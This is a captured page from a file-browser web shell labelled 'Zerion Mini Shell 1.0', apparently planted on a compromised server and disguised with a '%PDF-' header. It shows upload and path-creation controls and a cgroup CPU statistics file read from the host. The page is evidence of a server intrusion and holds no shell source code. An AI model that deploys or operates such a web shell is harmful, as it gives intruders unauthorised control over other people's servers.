%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpu,cpuacct/lve1364/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpu,cpuacct/lve1364/cpu.proc.stat

cpu  23980425 0 4304111 40439129195 91806 0 0 75560
cpu0 1209387 0 239465 1684640730 29430 0 0 8052
cpu1 1283761 0 216095 1684575496 6441 0 0 3878
cpu2 1217030 0 202644 1684680081 3123 0 0 3597
cpu3 1266029 0 209220 1684616985 2282 0 0 3335
cpu4 1159802 0 194215 1684752711 2728 0 0 3113
cpu5 1085308 0 187043 1684855781 2447 0 0 2972
cpu6 1064957 0 185014 1684883048 2281 0 0 2919
cpu7 1056567 0 186623 1684894275 2650 0 0 2983
cpu8 1003127 0 181143 1684958949 2499 0 0 2906
cpu9 1031643 0 187312 1684922950 3196 0 0 3015
cpu10 984171 0 180147 1684988945 2265 0 0 3009
cpu11 1011898 0 185155 1684955184 3397 0 0 3004
cpu12 1014204 0 187846 1684938064 3131 0 0 3132
cpu13 971097 0 179081 1685000624 2594 0 0 2869
cpu14 967427 0 178704 1685010213 2635 0 0 2910
cpu15 975146 0 178918 1684994913 3510 0 0 3008
cpu16 915108 0 169350 1685078349 2059 0 0 2810
cpu17 858843 0 158388 1685151257 2041 0 0 2648
cpu18 891812 0 161449 1685112496 2270 0 0 2455
cpu19 825985 0 150600 1685198626 1803 0 0 2588
cpu20 839363 0 154130 1685177022 2141 0 0 2586
cpu21 794448 0 146282 1685232667 2098 0 0 2598
cpu22 825932 0 149929 1685187177 2902 0 0 2467
cpu23 727368 0 135346 1685322640 1871 0 0 2694
intr 0
swap 0 0

ctxt 80712184
btime 1747808572
processes 1382691
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0